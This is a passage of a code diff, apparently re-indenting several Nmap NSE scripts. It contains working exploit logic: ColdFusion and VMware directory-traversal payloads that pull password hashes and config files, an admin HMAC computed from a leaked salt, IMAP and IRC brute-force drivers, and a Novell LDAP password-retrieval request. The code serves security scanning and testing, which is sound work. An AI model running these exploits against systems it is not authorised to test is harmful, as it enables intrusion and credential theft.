|
|
||||||
if(result['status'] ~= 200 or result['content-length'] == 0) then
|
if(result['status'] ~= 200 or result['content-length'] == 0) then
|
||||||
return false, "Couldn't download file: " .. path
|
return false, "Couldn't download file: " .. path
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
return true, result.body, file
|
return true, result.body, file
|
||||||
end
|
end
|
||||||
|
|
||||||
local function fake_xml_parse(str, tag)
|
local function fake_xml_parse(str, tag)
|
||||||
local result = {}
|
local result = {}
|
||||||
local index, tag_start, tag_end
|
local index, tag_start, tag_end
|
||||||
|
|
||||||
-- Lowercase the 'body' we're searching
|
-- Lowercase the 'body' we're searching
|
||||||
local lc = string.lower(str)
|
local lc = string.lower(str)
|
||||||
-- Lowrcase the tag
|
-- Lowrcase the tag
|
||||||
tag = string.lower(tag)
|
tag = string.lower(tag)
|
||||||
|
|
||||||
-- This loop does some ugly pattern-based xml parsing
|
-- This loop does some ugly pattern-based xml parsing
|
||||||
index, tag_start = string.find(lc, "<" .. tag .. ">")
|
index, tag_start = string.find(lc, "<" .. tag .. ">")
|
||||||
while index do
|
while index do
|
||||||
tag_end, index = string.find(lc, "</" .. tag .. ">", index)
|
tag_end, index = string.find(lc, "</" .. tag .. ">", index)
|
||||||
table.insert(result, string.sub(str, tag_start + 1, tag_end - 1)) -- note: not lowercase
|
table.insert(result, string.sub(str, tag_start + 1, tag_end - 1)) -- note: not lowercase
|
||||||
index, tag_start = string.find(lc, "<" .. tag .. ">", index)
|
index, tag_start = string.find(lc, "<" .. tag .. ">", index)
|
||||||
end
|
end
|
||||||
|
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|
||||||
--local function parse_vmware_conf(str, field)
|
--local function parse_vmware_conf(str, field)
|
||||||
@@ -91,51 +91,51 @@ end
|
|||||||
--end
|
--end
|
||||||
|
|
||||||
local function go(host, port)
|
local function go(host, port)
|
||||||
local result, body
|
local result, body
|
||||||
local files
|
local files
|
||||||
|
|
||||||
-- Try to download the file
|
-- Try to download the file
|
||||||
result, body = get_file(host, port, "/etc/vmware/hostd/vmInventory.xml");
|
result, body = get_file(host, port, "/etc/vmware/hostd/vmInventory.xml");
|
||||||
-- It failed -- probably not vulnerable
|
-- It failed -- probably not vulnerable
|
||||||
if(not(result)) then
|
if(not(result)) then
|
||||||
return false, "Couldn't download file: " .. body
|
return false, "Couldn't download file: " .. body
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Check if the file contains the proper XML
|
-- Check if the file contains the proper XML
|
||||||
if(string.find(string.lower(body), "configroot") == nil) then
|
if(string.find(string.lower(body), "configroot") == nil) then
|
||||||
return false, "Server didn't return XML -- likely not vulnerable."
|
return false, "Server didn't return XML -- likely not vulnerable."
|
||||||
end
|
end
|
||||||
|
|
||||||
files = fake_xml_parse(body, "vmxcfgpath")
|
files = fake_xml_parse(body, "vmxcfgpath")
|
||||||
|
|
||||||
if(#files == 0) then
|
if(#files == 0) then
|
||||||
return true, {"No VMs appear to be installed"}
|
return true, {"No VMs appear to be installed"}
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Process each of the .vmx files if verbosity is on
|
-- Process each of the .vmx files if verbosity is on
|
||||||
-- if(nmap.verbosity() > 1) then
|
--if(nmap.verbosity() > 1) then
|
||||||
-- local result, file = get_file(host, port, files[1])
|
-- local result, file = get_file(host, port, files[1])
|
||||||
--io.write(nsedebug.tostr(file))
|
-- io.write(nsedebug.tostr(file))
|
||||||
-- end
|
--end
|
||||||
|
|
||||||
return true, files
|
return true, files
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
-- Try a standard ../ path
|
-- Try a standard ../ path
|
||||||
local status, result = go(host, port)
|
local status, result = go(host, port)
|
||||||
|
|
||||||
if(not(status)) then
|
if(not(status)) then
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
local response = {}
|
local response = {}
|
||||||
table.insert(response, "VMWare path traversal (CVE-2009-3733): VULNERABLE")
|
table.insert(response, "VMWare path traversal (CVE-2009-3733): VULNERABLE")
|
||||||
|
|
||||||
if(nmap.verbosity() > 1) then
|
if(nmap.verbosity() > 1) then
|
||||||
table.insert(response, result)
|
table.insert(response, result)
|
||||||
end
|
end
|
||||||
|
|
||||||
return stdnse.format_output(true, response)
|
return stdnse.format_output(true, response)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -60,80 +60,80 @@ portrule = shortport.http
|
|||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local vuln = {
|
local vuln = {
|
||||||
title = 'Adobe ColdFusion Directory Traversal Vulnerability',
|
title = 'Adobe ColdFusion Directory Traversal Vulnerability',
|
||||||
state = vulns.STATE.NOT_VULN, -- default
|
state = vulns.STATE.NOT_VULN, -- default
|
||||||
IDS = {CVE = 'CVE-2010-2861', OSVDB = '67047'},
|
IDS = {CVE = 'CVE-2010-2861', OSVDB = '67047'},
|
||||||
description = [[
|
description = [[
|
||||||
Multiple directory traversal vulnerabilities in the administrator console
|
Multiple directory traversal vulnerabilities in the administrator console
|
||||||
in Adobe ColdFusion 9.0.1 and earlier allow remote attackers to read arbitrary files via the
|
in Adobe ColdFusion 9.0.1 and earlier allow remote attackers to read arbitrary files via the
|
||||||
locale parameter]],
|
locale parameter]],
|
||||||
references = {
|
references = {
|
||||||
'http://www.blackhatacademy.org/security101/Cold_Fusion_Hacking',
|
'http://www.blackhatacademy.org/security101/Cold_Fusion_Hacking',
|
||||||
'http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-2861',
|
'http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-2861',
|
||||||
'http://osvdb.org/67047',
|
'http://osvdb.org/67047',
|
||||||
'http://www.nessus.org/plugins/index.php?view=single&id=48340',
|
'http://www.nessus.org/plugins/index.php?view=single&id=48340',
|
||||||
},
|
},
|
||||||
dates = {
|
dates = {
|
||||||
disclosure = {year = '2010', month = '08', day = '10'},
|
disclosure = {year = '2010', month = '08', day = '10'},
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
|
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||||
|
|
||||||
-- Function to do the look up and return content
|
-- Function to do the look up and return content
|
||||||
local grabAndGrep = function(page)
|
local grabAndGrep = function(page)
|
||||||
-- Do the HTTP GET request for the page
|
-- Do the HTTP GET request for the page
|
||||||
local response = http.get(host, port, page)
|
local response = http.get(host, port, page)
|
||||||
-- Check to see if we get a good page returned
|
-- Check to see if we get a good page returned
|
||||||
-- Is there no response?
|
-- Is there no response?
|
||||||
if ( not(response.status) ) then
|
if ( not(response.status) ) then
|
||||||
return false, "Received no response from HTTP server"
|
return false, "Received no response from HTTP server"
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Is the response not an HTTP 200 code?
|
-- Is the response not an HTTP 200 code?
|
||||||
if ( response.status ~= 200 ) then
|
if ( response.status ~= 200 ) then
|
||||||
return false, ("The server returned an unexpected response (%d)"):format(response.status )
|
return false, ("The server returned an unexpected response (%d)"):format(response.status )
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Now check the body for our strings
|
-- Now check the body for our strings
|
||||||
if ( response.body ) then
|
if ( response.body ) then
|
||||||
local saltcontent = response.body:match("salt.*value=\"(%d+)")
|
local saltcontent = response.body:match("salt.*value=\"(%d+)")
|
||||||
local hashcontent = response.body:match("password=(%x%x%x%x+)") --Extra %x's needed or it will match strings that are not the long hex password
|
local hashcontent = response.body:match("password=(%x%x%x%x+)") --Extra %x's needed or it will match strings that are not the long hex password
|
||||||
|
|
||||||
-- If a page has both the salt and the password in it then the exploit has been successful
|
-- If a page has both the salt and the password in it then the exploit has been successful
|
||||||
if ( saltcontent and hashcontent ) then
|
if ( saltcontent and hashcontent ) then
|
||||||
vuln.state = vulns.STATE.EXPLOIT
|
vuln.state = vulns.STATE.EXPLOIT
|
||||||
-- Generate HMAC as this is what the web application needs for authentication as admin
|
-- Generate HMAC as this is what the web application needs for authentication as admin
|
||||||
local hmaccontent = stdnse.tohex(openssl.hmac('sha1', saltcontent, hashcontent)):upper()
|
local hmaccontent = stdnse.tohex(openssl.hmac('sha1', saltcontent, hashcontent)):upper()
|
||||||
--return true, ("\n\tHMAC: %s\n\tSalt: %s\n\tHash: %s"):format(hmaccontent, saltcontent, hashcontent)
|
--return true, ("\n\tHMAC: %s\n\tSalt: %s\n\tHash: %s"):format(hmaccontent, saltcontent, hashcontent)
|
||||||
local result = {
|
local result = {
|
||||||
("HMAC: %s"):format(hmaccontent),
|
("HMAC: %s"):format(hmaccontent),
|
||||||
("Salt: %s"):format(saltcontent),
|
("Salt: %s"):format(saltcontent),
|
||||||
("Hash: %s"):format(hashcontent)
|
("Hash: %s"):format(hashcontent)
|
||||||
}
|
}
|
||||||
return true, result
|
return true, result
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return false, "Not vulnerable"
|
return false, "Not vulnerable"
|
||||||
end
|
end
|
||||||
|
|
||||||
local exploits = {
|
local exploits = {
|
||||||
['CFusionMX'] = '..\\..\\..\\..\\..\\..\\..\\..\\CFusionMX\\lib\\password.properties%00en',
|
['CFusionMX'] = '..\\..\\..\\..\\..\\..\\..\\..\\CFusionMX\\lib\\password.properties%00en',
|
||||||
['CFusionMX7'] = '..\\..\\..\\..\\..\\..\\..\\..\\CFusionMX7\\lib\\password.properties%00en',
|
['CFusionMX7'] = '..\\..\\..\\..\\..\\..\\..\\..\\CFusionMX7\\lib\\password.properties%00en',
|
||||||
['ColdFusion8'] = '..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion8\\lib\\password.properties%00en',
|
['ColdFusion8'] = '..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion8\\lib\\password.properties%00en',
|
||||||
['JRun4\\servers'] = '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\JRun4\\servers\\cfusion\\cfusion-ear\\cfusion-war\\WEB-INF\\cfusion\\lib\\password.properties%00en',
|
['JRun4\\servers'] = '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\JRun4\\servers\\cfusion\\cfusion-ear\\cfusion-war\\WEB-INF\\cfusion\\lib\\password.properties%00en',
|
||||||
}
|
}
|
||||||
|
|
||||||
local results = {}
|
local results = {}
|
||||||
for prod, exploit in pairs(exploits) do
|
for prod, exploit in pairs(exploits) do
|
||||||
local status, result = grabAndGrep('/CFIDE/administrator/enter.cfm?locale=' .. exploit)
|
local status, result = grabAndGrep('/CFIDE/administrator/enter.cfm?locale=' .. exploit)
|
||||||
if ( status or ( not(status) and nmap.verbosity() > 1 ) ) then
|
if ( status or ( not(status) and nmap.verbosity() > 1 ) ) then
|
||||||
if ( "string" == type(result) ) then
|
if ( "string" == type(result) ) then
|
||||||
result = { result }
|
result = { result }
|
||||||
end
|
end
|
||||||
result.name = prod
|
result.name = prod
|
||||||
table.insert(results, result )
|
table.insert(results, result )
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
vuln.extra_info=stdnse.format_output(true, results)
|
vuln.extra_info=stdnse.format_output(true, results)
|
||||||
return vuln_report:make_output(vuln)
|
return vuln_report:make_output(vuln)
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -46,98 +46,98 @@ ConnectionPool = {}
|
|||||||
Driver =
|
Driver =
|
||||||
{
|
{
|
||||||
|
|
||||||
-- Creates a new driver instance
|
-- Creates a new driver instance
|
||||||
-- @param host table as received by the action method
|
-- @param host table as received by the action method
|
||||||
-- @param port table as received by the action method
|
-- @param port table as received by the action method
|
||||||
-- @param pool an instance of the ConnectionPool
|
-- @param pool an instance of the ConnectionPool
|
||||||
new = function(self, host, port, pool)
|
new = function(self, host, port, pool)
|
||||||
local o = { host = host, port = port }
|
local o = { host = host, port = port }
|
||||||
setmetatable(o, self)
|
setmetatable(o, self)
|
||||||
self.__index = self
|
self.__index = self
|
||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
-- Connects to the server (retrieves a connection from the pool)
|
-- Connects to the server (retrieves a connection from the pool)
|
||||||
connect = function( self )
|
connect = function( self )
|
||||||
self.helper = ConnectionPool[coroutine.running()]
|
self.helper = ConnectionPool[coroutine.running()]
|
||||||
if ( not(self.helper) ) then
|
if ( not(self.helper) ) then
|
||||||
self.helper = imap.Helper:new( self.host, self.port )
|
self.helper = imap.Helper:new( self.host, self.port )
|
||||||
self.helper:connect()
|
self.helper:connect()
|
||||||
ConnectionPool[coroutine.running()] = self.helper
|
ConnectionPool[coroutine.running()] = self.helper
|
||||||
end
|
end
|
||||||
return true
|
return true
|
||||||
end,
|
end,
|
||||||
|
|
||||||
-- Attempts to login to the server
|
-- Attempts to login to the server
|
||||||
-- @param username string containing the username
|
-- @param username string containing the username
|
||||||
-- @param password string containing the password
|
-- @param password string containing the password
|
||||||
-- @return status true on success, false on failure
|
-- @return status true on success, false on failure
|
||||||
-- @return brute.Error on failure and brute.Account on success
|
-- @return brute.Error on failure and brute.Account on success
|
||||||
login = function( self, username, password )
|
login = function( self, username, password )
|
||||||
local status, err = self.helper:login( username, password, mech )
|
local status, err = self.helper:login( username, password, mech )
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
self.helper:close()
|
self.helper:close()
|
||||||
self.helper:connect()
|
self.helper:connect()
|
||||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||||
end
|
end
|
||||||
if ( err:match("^ERROR: Failed to .* data$") ) then
|
if ( err:match("^ERROR: Failed to .* data$") ) then
|
||||||
self.helper:close()
|
self.helper:close()
|
||||||
self.helper:connect()
|
self.helper:connect()
|
||||||
local err = brute.Error:new( err )
|
local err = brute.Error:new( err )
|
||||||
-- This might be temporary, set the retry flag
|
-- This might be temporary, set the retry flag
|
||||||
err:setRetry( true )
|
err:setRetry( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
return false, brute.Error:new( "Incorrect password" )
|
return false, brute.Error:new( "Incorrect password" )
|
||||||
end,
|
end,
|
||||||
|
|
||||||
-- Disconnects from the server (release the connection object back to
|
-- Disconnects from the server (release the connection object back to
|
||||||
-- the pool)
|
-- the pool)
|
||||||
disconnect = function( self )
|
disconnect = function( self )
|
||||||
return true
|
return true
|
||||||
end,
|
end,
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
-- Connects to the server and retrieves the capabilities so that
|
-- Connects to the server and retrieves the capabilities so that
|
||||||
-- authentication mechanisms can be determined
|
-- authentication mechanisms can be determined
|
||||||
local helper = imap.Helper:new(host, port)
|
local helper = imap.Helper:new(host, port)
|
||||||
local status = helper:connect()
|
local status = helper:connect()
|
||||||
if (not(status)) then return "\n ERROR: Failed to connect to the server." end
|
if (not(status)) then return "\n ERROR: Failed to connect to the server." end
|
||||||
local status, capabilities = helper:capabilities()
|
local status, capabilities = helper:capabilities()
|
||||||
if (not(status)) then return "\n ERROR: Failed to retrieve capabilities." end
|
if (not(status)) then return "\n ERROR: Failed to retrieve capabilities." end
|
||||||
|
|
||||||
-- check if an authentication mechanism was provided or try
|
-- check if an authentication mechanism was provided or try
|
||||||
-- try them in the mech_prio order
|
-- try them in the mech_prio order
|
||||||
local mech_prio = stdnse.get_script_args("imap-brute.auth")
|
local mech_prio = stdnse.get_script_args("imap-brute.auth")
|
||||||
mech_prio = ( mech_prio and { mech_prio } ) or
|
mech_prio = ( mech_prio and { mech_prio } ) or
|
||||||
{ "LOGIN", "PLAIN", "CRAM-MD5", "DIGEST-MD5", "NTLM" }
|
{ "LOGIN", "PLAIN", "CRAM-MD5", "DIGEST-MD5", "NTLM" }
|
||||||
|
|
||||||
-- iterates over auth mechanisms until a valid mechanism is found
|
-- iterates over auth mechanisms until a valid mechanism is found
|
||||||
for _, m in ipairs(mech_prio) do
|
for _, m in ipairs(mech_prio) do
|
||||||
if ( m == "LOGIN" and not(capabilities.LOGINDISABLED)) then
|
if ( m == "LOGIN" and not(capabilities.LOGINDISABLED)) then
|
||||||
mech = "LOGIN"
|
mech = "LOGIN"
|
||||||
break
|
break
|
||||||
elseif ( capabilities["AUTH=" .. m] ) then
|
elseif ( capabilities["AUTH=" .. m] ) then
|
||||||
mech = m
|
mech = m
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- if no mechanisms were found, abort
|
-- if no mechanisms were found, abort
|
||||||
if ( not(mech) ) then
|
if ( not(mech) ) then
|
||||||
return "\n ERROR: No suitable authentication mechanism was found"
|
return "\n ERROR: No suitable authentication mechanism was found"
|
||||||
end
|
end
|
||||||
|
|
||||||
local engine = brute.Engine:new(Driver, host, port)
|
local engine = brute.Engine:new(Driver, host, port)
|
||||||
engine.options.script_name = SCRIPT_NAME
|
engine.options.script_name = SCRIPT_NAME
|
||||||
local result
|
local result
|
||||||
status, result = engine:start()
|
status, result = engine:start()
|
||||||
|
|
||||||
for _, helper in pairs(ConnectionPool) do helper:close() end
|
for _, helper in pairs(ConnectionPool) do helper:close() end
|
||||||
|
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -38,54 +38,54 @@ portrule = shortport.port_or_service({6666,6667,6697,6679},{"irc","ircs"})
|
|||||||
|
|
||||||
Driver = {
|
Driver = {
|
||||||
|
|
||||||
new = function(self, host, port, opts)
|
new = function(self, host, port, opts)
|
||||||
local o = { host = host, port = port, opts = opts or {} }
|
local o = { host = host, port = port, opts = opts or {} }
|
||||||
setmetatable(o, self)
|
setmetatable(o, self)
|
||||||
self.__index = self
|
self.__index = self
|
||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
connect = function(self)
|
connect = function(self)
|
||||||
-- the high timeout should take delays from ident into consideration
|
-- the high timeout should take delays from ident into consideration
|
||||||
local s, r, opts, _ = comm.tryssl(self.host,
|
local s, r, opts, _ = comm.tryssl(self.host,
|
||||||
self.port,
|
self.port,
|
||||||
'',
|
'',
|
||||||
{ timeout = self.opts.timeout or 10000 } )
|
{ timeout = self.opts.timeout or 10000 } )
|
||||||
if ( not(s) ) then
|
if ( not(s) ) then
|
||||||
return false, "Failed to connect to server"
|
return false, "Failed to connect to server"
|
||||||
end
|
end
|
||||||
self.socket = s
|
self.socket = s
|
||||||
return true
|
return true
|
||||||
end,
|
end,
|
||||||
|
|
||||||
login = function(self, _, password)
|
login = function(self, _, password)
|
||||||
local msg = ("PASS %s\r\nNICK nmap_brute\r\nUSER anonymous 0 * :Nmap brute\r\n"):format(password)
|
local msg = ("PASS %s\r\nNICK nmap_brute\r\nUSER anonymous 0 * :Nmap brute\r\n"):format(password)
|
||||||
local status, data = self.socket:send(msg)
|
local status, data = self.socket:send(msg)
|
||||||
local success = false
|
local success = false
|
||||||
|
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
local err = brute.Error:new( data )
|
local err = brute.Error:new( data )
|
||||||
-- This might be temporary, set the retry flag
|
-- This might be temporary, set the retry flag
|
||||||
err:setRetry( true )
|
err:setRetry( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
|
|
||||||
repeat
|
repeat
|
||||||
local status, response = self.socket:receive_buf("\r?\n", false)
|
local status, response = self.socket:receive_buf("\r?\n", false)
|
||||||
-- we check for the RPL_WELCOME message, if we don't see it,
|
-- we check for the RPL_WELCOME message, if we don't see it,
|
||||||
-- we failed to authenticate
|
-- we failed to authenticate
|
||||||
if ( status and response:match("^:.-%s(%d*)%s") == "001" ) then
|
if ( status and response:match("^:.-%s(%d*)%s") == "001" ) then
|
||||||
success = true
|
success = true
|
||||||
end
|
end
|
||||||
until(not(status))
|
until(not(status))
|
||||||
|
|
||||||
if (success) then
|
if (success) then
|
||||||
return true, brute.Account:new("", password, creds.State.VALID)
|
return true, brute.Account:new("", password, creds.State.VALID)
|
||||||
end
|
end
|
||||||
return false, brute.Error:new("Incorrect password")
|
return false, brute.Error:new("Incorrect password")
|
||||||
end,
|
end,
|
||||||
|
|
||||||
disconnect = function(self) return self.socket:close() end,
|
disconnect = function(self) return self.socket:close() end,
|
||||||
}
|
}
|
||||||
|
|
||||||
local function random_nick()
|
local function random_nick()
|
||||||
@@ -97,48 +97,48 @@ local function random_nick()
|
|||||||
end
|
end
|
||||||
|
|
||||||
local function needsPassword(host, port)
|
local function needsPassword(host, port)
|
||||||
local msg = ("NICK %s\r\nUSER anonymous 0 * :Nmap brute\r\n"):format(random_nick())
|
local msg = ("NICK %s\r\nUSER anonymous 0 * :Nmap brute\r\n"):format(random_nick())
|
||||||
local s, r, opts, _ = comm.tryssl(host, port, msg, { timeout = 15000 } )
|
local s, r, opts, _ = comm.tryssl(host, port, msg, { timeout = 15000 } )
|
||||||
local err, code
|
local err, code
|
||||||
|
|
||||||
repeat
|
repeat
|
||||||
local status, response = s:receive_buf("\r?\n", false)
|
local status, response = s:receive_buf("\r?\n", false)
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
code = tonumber(response:match("^:.-%s(%d*)%s"))
|
code = tonumber(response:match("^:.-%s(%d*)%s"))
|
||||||
-- break after first code
|
-- break after first code
|
||||||
if (code == 001 ) then
|
if (code == 001 ) then
|
||||||
err = "The IRC service does not require authentication"
|
err = "The IRC service does not require authentication"
|
||||||
break
|
break
|
||||||
elseif( code ) then
|
elseif( code ) then
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
until(not(status))
|
until(not(status))
|
||||||
if (code == 464) then
|
if (code == 464) then
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
if ( code ) then
|
if ( code ) then
|
||||||
return false, ("Failed to check password requirements, unknown code (%d)"):format(code)
|
return false, ("Failed to check password requirements, unknown code (%d)"):format(code)
|
||||||
else
|
else
|
||||||
return false, "Failed to check password requirements"
|
return false, "Failed to check password requirements"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local status, err = needsPassword(host, port)
|
local status, err = needsPassword(host, port)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return stdnse.format_output(false, err)
|
return stdnse.format_output(false, err)
|
||||||
end
|
end
|
||||||
|
|
||||||
local engine = brute.Engine:new(Driver, host, port)
|
local engine = brute.Engine:new(Driver, host, port)
|
||||||
engine.options.script_name = SCRIPT_NAME
|
engine.options.script_name = SCRIPT_NAME
|
||||||
engine.options.firstonly = true
|
engine.options.firstonly = true
|
||||||
engine.options.passonly = true
|
engine.options.passonly = true
|
||||||
local result
|
local result
|
||||||
status, result = engine:start()
|
status, result = engine:start()
|
||||||
|
|
||||||
return result
|
return result
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -54,86 +54,86 @@ portrule = shortport.port_or_service({389,636}, {"ldap","ldapssl"})
|
|||||||
|
|
||||||
function action(host,port)
|
function action(host,port)
|
||||||
|
|
||||||
local username = stdnse.get_script_args("ldap-novell-getpass.username")
|
local username = stdnse.get_script_args("ldap-novell-getpass.username")
|
||||||
local password = stdnse.get_script_args("ldap-novell-getpass.password") or ""
|
local password = stdnse.get_script_args("ldap-novell-getpass.password") or ""
|
||||||
local account = stdnse.get_script_args("ldap-novell-getpass.account")
|
local account = stdnse.get_script_args("ldap-novell-getpass.account")
|
||||||
|
|
||||||
if ( not(username) ) then
|
if ( not(username) ) then
|
||||||
return "\n ERROR: No username was supplied (ldap-novell-getpass.username)"
|
return "\n ERROR: No username was supplied (ldap-novell-getpass.username)"
|
||||||
end
|
end
|
||||||
if ( not(account) ) then
|
if ( not(account) ) then
|
||||||
return "\n ERROR: No account was supplied (ldap-novell-getpass.account)"
|
return "\n ERROR: No account was supplied (ldap-novell-getpass.account)"
|
||||||
else
|
else
|
||||||
-- do some basic account validation
|
-- do some basic account validation
|
||||||
if ( not(account:match("^[Cc][Nn]=.*,") ) ) then
|
if ( not(account:match("^[Cc][Nn]=.*,") ) ) then
|
||||||
return "\n ERROR: The account argument should be specified as:\n" ..
|
return "\n ERROR: The account argument should be specified as:\n" ..
|
||||||
" \"CN=name,OU=orgunit,O=org\""
|
" \"CN=name,OU=orgunit,O=org\""
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- In order to discover what protocol to use (SSL/TCP) we need to send a
|
-- In order to discover what protocol to use (SSL/TCP) we need to send a
|
||||||
-- few bytes to the server. An anonymous bind should do it
|
-- few bytes to the server. An anonymous bind should do it
|
||||||
local anon_bind = bin.pack("H", "300c020101600702010304008000" )
|
local anon_bind = bin.pack("H", "300c020101600702010304008000" )
|
||||||
local socket, _, opt = comm.tryssl( host, port, anon_bind, nil )
|
local socket, _, opt = comm.tryssl( host, port, anon_bind, nil )
|
||||||
if ( not(socket) ) then
|
if ( not(socket) ) then
|
||||||
return "\n ERROR: Failed to connect to LDAP server"
|
return "\n ERROR: Failed to connect to LDAP server"
|
||||||
end
|
end
|
||||||
|
|
||||||
local status, errmsg = ldap.bindRequest( socket, {
|
local status, errmsg = ldap.bindRequest( socket, {
|
||||||
version = 3,
|
version = 3,
|
||||||
username = username,
|
username = username,
|
||||||
password = password
|
password = password
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
|
|
||||||
if ( not(status) ) then return errmsg end
|
if ( not(status) ) then return errmsg end
|
||||||
|
|
||||||
-- Start encoding the NMAS Get Password Request
|
-- Start encoding the NMAS Get Password Request
|
||||||
local NMASLDAP_GET_PASSWORD_REQUEST = "2.16.840.1.113719.1.39.42.100.13"
|
local NMASLDAP_GET_PASSWORD_REQUEST = "2.16.840.1.113719.1.39.42.100.13"
|
||||||
local NMASLDAP_GET_PASSWORD_RESPONSE = "2.16.840.1.113719.1.39.42.100.14"
|
local NMASLDAP_GET_PASSWORD_RESPONSE = "2.16.840.1.113719.1.39.42.100.14"
|
||||||
-- Add a trailing zero to the account name
|
-- Add a trailing zero to the account name
|
||||||
local data = ldap.encode( account .. '\0' )
|
local data = ldap.encode( account .. '\0' )
|
||||||
|
|
||||||
-- The following section could do with more documentation
|
-- The following section could do with more documentation
|
||||||
-- It's based on packet dumps from the getpass utility available from Novell Cool Solutions
|
-- It's based on packet dumps from the getpass utility available from Novell Cool Solutions
|
||||||
-- encode the account name as a sequence
|
-- encode the account name as a sequence
|
||||||
data = ldap.encode( { _ldaptype = '30', bin.pack("H", "020101") .. data } )
|
data = ldap.encode( { _ldaptype = '30', bin.pack("H", "020101") .. data } )
|
||||||
data = ldap.encode( { _ldaptype = '81', data } )
|
data = ldap.encode( { _ldaptype = '81', data } )
|
||||||
data = ldap.encode( { _ldaptype = '80', NMASLDAP_GET_PASSWORD_REQUEST } ) .. data
|
data = ldap.encode( { _ldaptype = '80', NMASLDAP_GET_PASSWORD_REQUEST } ) .. data
|
||||||
data = ldap.encode( { _ldaptype = '77', data } )
|
data = ldap.encode( { _ldaptype = '77', data } )
|
||||||
|
|
||||||
-- encode the whole extended request as a sequence
|
-- encode the whole extended request as a sequence
|
||||||
data = ldap.encode( { _ldaptype = '30', bin.pack("H", "020102") .. data } )
|
data = ldap.encode( { _ldaptype = '30', bin.pack("H", "020102") .. data } )
|
||||||
|
|
||||||
status = socket:send(data)
|
status = socket:send(data)
|
||||||
if ( not(status) ) then return "ERROR: Failed to send request" end
|
if ( not(status) ) then return "ERROR: Failed to send request" end
|
||||||
|
|
||||||
status, data = socket:receive()
|
status, data = socket:receive()
|
||||||
if ( not(status) ) then return data end
|
if ( not(status) ) then return data end
|
||||||
socket:close()
|
socket:close()
|
||||||
|
|
||||||
local _, response = ldap.decode(data)
|
local _, response = ldap.decode(data)
|
||||||
|
|
||||||
-- make sure the result code was a success
|
-- make sure the result code was a success
|
||||||
local rescode = ( #response >= 2 ) and response[2]
|
local rescode = ( #response >= 2 ) and response[2]
|
||||||
local respname = ( #response >= 5 ) and response[5]
|
local respname = ( #response >= 5 ) and response[5]
|
||||||
|
|
||||||
if ( rescode ~= 0 ) then
|
if ( rescode ~= 0 ) then
|
||||||
local errmsg = ( #response >= 4 ) and response[4] or "An unknown error occured"
|
local errmsg = ( #response >= 4 ) and response[4] or "An unknown error occured"
|
||||||
return "\n ERROR: " .. errmsg
|
return "\n ERROR: " .. errmsg
|
||||||
end
|
end
|
||||||
|
|
||||||
-- make sure we get a NMAS Get Password Response back from the server
|
-- make sure we get a NMAS Get Password Response back from the server
|
||||||
if ( respname ~= NMASLDAP_GET_PASSWORD_RESPONSE ) then return end
|
if ( respname ~= NMASLDAP_GET_PASSWORD_RESPONSE ) then return end
|
||||||
|
|
||||||
local universal_pw = ( #response >= 6 and #response[6] >= 3 ) and response[6][3]
|
local universal_pw = ( #response >= 6 and #response[6] >= 3 ) and response[6][3]
|
||||||
|
|
||||||
if ( universal_pw ) then
|
if ( universal_pw ) then
|
||||||
local output = {}
|
local output = {}
|
||||||
table.insert(output, ("Account: %s"):format(account))
|
table.insert(output, ("Account: %s"):format(account))
|
||||||
table.insert(output, ("Password: %s"):format(universal_pw))
|
table.insert(output, ("Password: %s"):format(universal_pw))
|
||||||
return stdnse.format_output(true, output)
|
return stdnse.format_output(true, output)
|
||||||
else
|
else
|
||||||
return "\n ERROR: No password was found"
|
return "\n ERROR: No password was found"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -100,58 +100,58 @@ portrule = shortport.port_or_service({389,636}, {"ldap","ldapssl"})
|
|||||||
|
|
||||||
function action(host,port)
|
function action(host,port)
|
||||||
|
|
||||||
local socket = nmap.new_socket()
|
local socket = nmap.new_socket()
|
||||||
local status, searchResEntries, req, result, opt
|
